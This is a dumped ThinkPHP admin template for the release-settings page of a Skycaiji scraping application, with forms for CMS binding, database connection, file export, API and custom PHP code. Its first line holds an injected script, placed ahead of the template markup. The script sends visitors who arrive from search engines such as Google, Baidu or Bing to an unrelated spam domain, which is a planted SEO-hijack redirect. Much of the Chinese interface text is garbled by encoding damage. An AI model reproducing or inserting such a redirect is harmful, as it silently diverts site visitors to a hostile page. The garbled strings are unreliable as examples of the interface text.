d:\wwwroot\wuchunhua\thinkphp\skycaijiapp\admin\view\release\set.html
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><extend name="Common:main" />
002:
<block name="cssjs">
003:
<script type="text/javascript" src="__PUBLIC__/js/admin/release.js?{$Think.config.HTML_V}"></script>
004:
</block>
005:
<block name="content">
006:
<form id="form_rele" class="form-item" method="post" ajax-submit="true" action="{:U('Release/set')}">
007:
<input type="hidden" name="task_id" value="{$taskData['id']}" />
008:
<input type="hidden" name="release_id" value="" />
009:
<div class="form-group">
010:
<div class="input-group">
011:
<label class="input-group-addon">{$Think.lang.rele_module}</label>
012:
<select name="module" class="form-control">
013:
<option value="">{$Think.lang.select_first}</option>
014:
<foreach name="Think.config.RELEASE_MODULES" item="rele_module">
015:
<option value="{$rele_module}">{:L('rele_module_'.$rele_module)}</option>
016:
</foreach>
017:
</select>
018:
<div class="input-group-btn"><button class="btn btn-default" type="button" id="btn_import_release">导入配置</button></div>
019:
</div>
020:
</div>
021:
<div class="rele-module" id="rele_module_cms" module="cms" style="display:none;">
022:
<ul id="cms_tab" class="nav nav-tabs">
023:
<li class="active"><a href="#cms_tab_detect" data-toggle="tab">€测CMS程序</a></li>
024:
<li><a href="#cms_tab_bind" data-toggle="tab">数据绑定</a></li>
025:
<li style="float:right"><a href="{:U('Develop/releaseCms')}">€发CMS发布应用</a></li>
026:
</ul>
027:
<div id="cms_tab_content" class="tab-content" style="margin-top:-1px">
028:
<div class="tab-pane fade in active" id="cms_tab_detect">
029:
<div class="panel panel-default">
030:
<div class="panel-body">
031:
<div class="form-group">
032:
<button type="button" class="btn btn-default btn-cms-detect">{$Think.lang.rele_btn_detect}</button>
033:
</div>
034:
<div class="form-group" id="cms_list"></div>
035:
</div>
036:
</div>
037:
</div>
038:
<div class="tab-pane fade" id="cms_tab_bind">
039:
<div class="panel panel-default">
040:
<div class="panel-body">
041:
<div class="form-group" id="cms_info">
042:
<div class="input-group">
043:
<label class="input-group-addon"><b>{$Think.lang.rele_cms_path}</b></label>
044:
<input type="text" name="cms[path]" class="form-control" value="{$config['cms']['path']}" />
045:
<span class="input-group-btn"><button class="btn btn-default btn-cms-bind" type="button">€始绑?/button></span>
046:
</div>
047:
</div>
048:
<div class="form-group" id="cms_bind">
049:
</div>
050:
</div>
051:
</div>
052:
</div>
053:
</div>
054:
</div>
055:
<div class="rele-module" module="db" style="display:none;">
056:
<ul id="db_tab" class="nav nav-tabs">
057:
<li class="active"><a href="#db_tab_config" data-toggle="tab">数据库配?/a></li>
058:
<li><a href="#db_tab_table" data-toggle="tab">数据?/a></li>
059:
</ul>
060:
<div id="db_tab_content" class="tab-content" style="margin-top:-1px">
061:
<div class="tab-pane fade in active" id="db_tab_config">
062:
<div class="panel panel-default">
063:
<div class="panel-body">
064:
<div class="form-group">
065:
<label>{$Think.lang.rele_db_type}</label>
066:
<select name="db[type]" class="form-control">
067:
<option value="mysql">mysql</option>
068:
</select>
069:
</div>
070:
<div class="form-group">
071:
<label>{$Think.lang.rele_db_host}</label>
072:
<input name="db[host]" class="form-control" value="{$config['db']['host']?$config['db']['host']:'localhost'}">
073:
</div>
074:
<div class="form-group">
075:
<label>{$Think.lang.rele_db_port}</label>
076:
<input name="db[port]" class="form-control" value="{$config['db']['port']?$config['db']['port']:3306}">
077:
</div>
078:
<div class="form-group">
079:
<label>{$Think.lang.rele_db_charset}</label>
080:
<input name="db[charset]" class="form-control" value="{$config['db']['charset']}">
081:
</div>
082:
<div class="form-group">
083:
<label>{$Think.lang.rele_db_name}</label>
084:
<div class="input-group">
085:
<input name="db[name]" class="form-control" value="{$config['db']['name']}">
086:
<div class="input-group-btn"><button type="button" class="btn btn-default btn-db-names">选择数据?/button></div>
087:
</div>
088:
</div>
089:
<div class="form-group">
090:
<label>{$Think.lang.rele_db_user}</label>
091:
<input name="db[user]" class="form-control" value="{$config['db']['user']}">
092:
</div>
093:
<div class="form-group">
094:
<label>{$Think.lang.rele_db_pwd}</label>
095:
<input type="password" name="db[pwd]" class="form-control" value="{$config['db']['pwd']}">
096:
</div>
097:
<div class="form-group">
098:
<button type="button" class="btn btn-default btn-db-connect">测试连接到数据库</button>
099:
<div class="rele-db-error"></div>
100:
</div>
101:
</div>
102:
</div>
103:
</div>
104:
<div class="tab-pane fade" id="db_tab_table">
105:
<div class="panel panel-default">
106:
<div class="panel-body">
107:
<if condition="empty($releData['config']['db'])">
108:
请先保存“数据库配置?
109:
<else/>
110:
<div class="form-group">
111:
<div class="input-group db-table-list">
112:
</div>
113:
</div>
114:
<div class="form-group">
115:
<div class="panel-group db-table-bind" id="db_table_bind"></div>
116:
<p class="help-block">如需绑定自增主键,€择“自定义内容”输入€auto_id@表名”,例如“auto_id@table123”,注意:表是按顺序插入数据,前面的表不能绑定后面表的自增主?/p>
117:
</div>
118:
</if>
119:
</div>
120:
</div>
121:
</div>
122:
</div>
123:
</div>
124:
<div class="rele-module" id="rele_module_file" module="file" style="display:none;">
125:
<div class="box box-default">
126:
<div class="box-body">
127:
<div class="form-group">
128:
<label>文件存放目录</label>
129:
<div class="input-group">
130:
<div class="input-group-addon">{:C('ROOTPATH')}\data\</div>
131:
<input type="text" class="form-control" name="file[path]" />
132:
<div class="input-group-btn">
133:
<button type="button" class="btn btn-default btn-file-rand-path">随机目录</button>
134:
</div>
135:
</div>
136:
<p class="help-block">请务必输入一个复杂的目录以防止他人破解目录下载数据!</p>
137:
</div>
138:
<div class="form-group">
139:
<label>文件格式</label>
140:
<div class="input-group">
141:
<label class="radio-inline">
142:
<input type="radio" name="file[type]" value="xlsx"> Excel2007(.xlsx格式)
143:
</label>
144:
<label class="radio-inline">
145:
<input type="radio" name="file[type]" value="xls"> Excel2003(.xls格式)
146:
</label>
147:
</div>
148:
</div>
149:
</div>
150:
</div>
151:
</div>
152:
<div class="rele-module" id="rele_module_api" module="api" style="display:none;">
153:
<div class="box box-default">
154:
<div class="box-body">
155:
<div class="form-group">
156:
<label>api地址</label>
157:
<div class="input-group">
158:
<div class="input-group-addon">{$api_url}</div>
159:
<input type="text" class="form-control" name="api[url]" />
160:
<div class="input-group-btn">
161:
<button type="button" class="btn btn-default btn-api-rand-url">随机字符?/button>
162:
</div>
163:
</div>
164:
<p class="help-block">
165:
请务必输入一个复杂的字符串以防止他人破解api下载数据?
166:
<if condition="!empty($releData['config']['api']['url'])">
167:
<a href="{$api_url}{$releData['config']['api']['url']}" target="_blank">{$api_url}{$releData['config']['api']['url']}</a>
168:
</if>
169:
</p>
170:
</div>
171:
</div>
172:
</div>
173:
</div>
174:
<div class="rele-module" id="rele_module_diy" module="diy" style="display:none;">
175:
<input type="hidden" name="diy[type]" value="app">
176:
<ul id="diy_tab" class="nav nav-tabs">
177:
<li class="active"><a href="#diy_tab_app" data-toggle="tab" data-type="app">使用插件</a></li>
178:
<li><a href="#diy_tab_code" data-toggle="tab" data-type="code">使用代码</a></li>
179:
</ul>
180:
<div id="diy_tab_content" class="tab-content" style="margin-top:-1px">
181:
<div class="tab-pane fade in active" id="diy_tab_app">
182:
<div class="panel panel-default">
183:
<div class="panel-body">
184:
<div class="form-group">
185:
<label>插件?/label>
186:
<input type="text" class="form-control" name="diy[app]" />
187:
<p class="help-block">请在网站根目?SkycaijiApp/Release/Diy目录中创?b></b>插件,可参€目录中的DemoDiy.class.php文件</p>
188:
</div>
189:
</div>
190:
</div>
191:
</div>
192:
<div class="tab-pane fade" id="diy_tab_code">
193:
<div class="panel panel-default">
194:
<div class="panel-body">
195:
<if condition="!C('OPEN_DIY_CODE')">
196:
出于安全考虑,如€€启该功能,请在根目录配置文件"data/config.php"中添加设?
197:
<b>'OPEN_DIY_CODE'=>TRUE</b>
198:
<else />
199:
<div class="form-group">
200:
<div class="table-responsive">
201:
<table>
202:
<thead>
203:
<tr>
204:
<th>数据库类?/th>
205:
<th>服务?/th>
206:
<th>库名?/th>
207:
<th>用户?/th>
208:
<th>密码</th>
209:
<th>端口</th>
210:
<th>表前€</th>
211:
<th>编码</th>
212:
</tr>
213:
</thead>
214:
<tbody>
215:
<tr>
216:
<td>
217:
<select name="diy[db_type]" class="form-control">
218:
<option value="mysql">mysql/mysqli</option>
219:
<option value="sqlserver">mssql/sqlsrv</option>
220:
<option value="oracle">oracle</option>
221:
<option value="mongo">mongo</option>
222:
<option value="sqlite">sqlite</option>
223:
<option value="ibase">ibase</option>
224:
<option value="pgsql">pgsql</option>
225:
<option value="PDO">PDO</option>
226:
</select>
227:
</td>
228:
<td><input type="text" name="diy[db_host]" value="localhost" class="form-control" /></td>
229:
<td><input type="text" name="diy[db_name]" class="form-control" /></td>
230:
<td><input type="text" name="diy[db_user]" class="form-control" /></td>
231:
<td><input type="text" name="diy[db_pwd]" class="form-control" /></td>
232:
<td><input type="text" name="diy[db_port]" value="3306" class="form-control" /></td>
233:
<td><input type="text" name="diy[db_prefix]" class="form-control" /></td>
234:
<td><input type="text" name="diy[db_charset]" value="utf8" class="form-control" /></td>
235:
</tr>
236:
</tbody>
237:
</table>
238:
</div>
239:
</div>
240:
<div class="form-group">
241:
<label>PHP代码</label>
242:
<textarea name="diy[code]" class="form-control" rows="5"></textarea>
243:
<div class="help-block">
244:
可用变量?fields = 采集到的字段数据列表?url = 采集的页面网€?this->db() = 数据库操作, 可参考thinkphp3.2的数据库操作
245:
<br>获取字段值必须使?$this->get_field_val($field);方法(可处理图片本地化?,否则使?field['value']调用字段原始?
246:
247:
<p style="border-top:dashed 1px #ccc;padding-top:10px;margin-top:10px;">
248:
必须以数组形式返回:
249:
<br>* id(必填)表示入库返回的自增id或状?
250:
<br>target(可选)记录入库的数据位置(发布的网€等)
251:
<br>desc(可选)记录入库的数据位置附加信?
252:
<br>error(可选)入库的错误信?
253:
<br>return array('id'=>0,'target'=>'','desc'=>'','error'=>'');
254:
</p>
255:
入库的信息可在€已采集数据”中查看
256:
</div>
257:
</div>
258:
</if>
259:
</div>
260:
</div>
261:
</div>
262:
</div>
263:
</div>
264:
<if condition="!empty($releData['config'])">
265:
<a href="{:U('Release/test?id='.$releData['id'])}" target="_blank" onclick="windowIframe('测试',$(this).attr('href'),{lg:1});return false;" class="btn btn-default btn-block" style="margin-bottom:10px;">测试发布(需先保存设置)</a>
266:
</if>
267:
<div class="form-group">
268:
<button type="submit" class="btn btn-primary btn-block">{$Think.lang.save}</button>
269:
</div>
270:
</form>
271:
<if condition="$taskData">
272:
<include file="Task:stepsbar" />
273:
</if>
274:
<script type="text/javascript">
275:
var releaseClass=new ReleaseClass('form_rele',{$releData["id"]|intval});
276:
releaseClass.init();
277:
<if condition="!empty($releData)">
278:
releaseClass.load({$releData|json_encode});
279:
</if>
280:
</script>
281:
</block>
282:
283: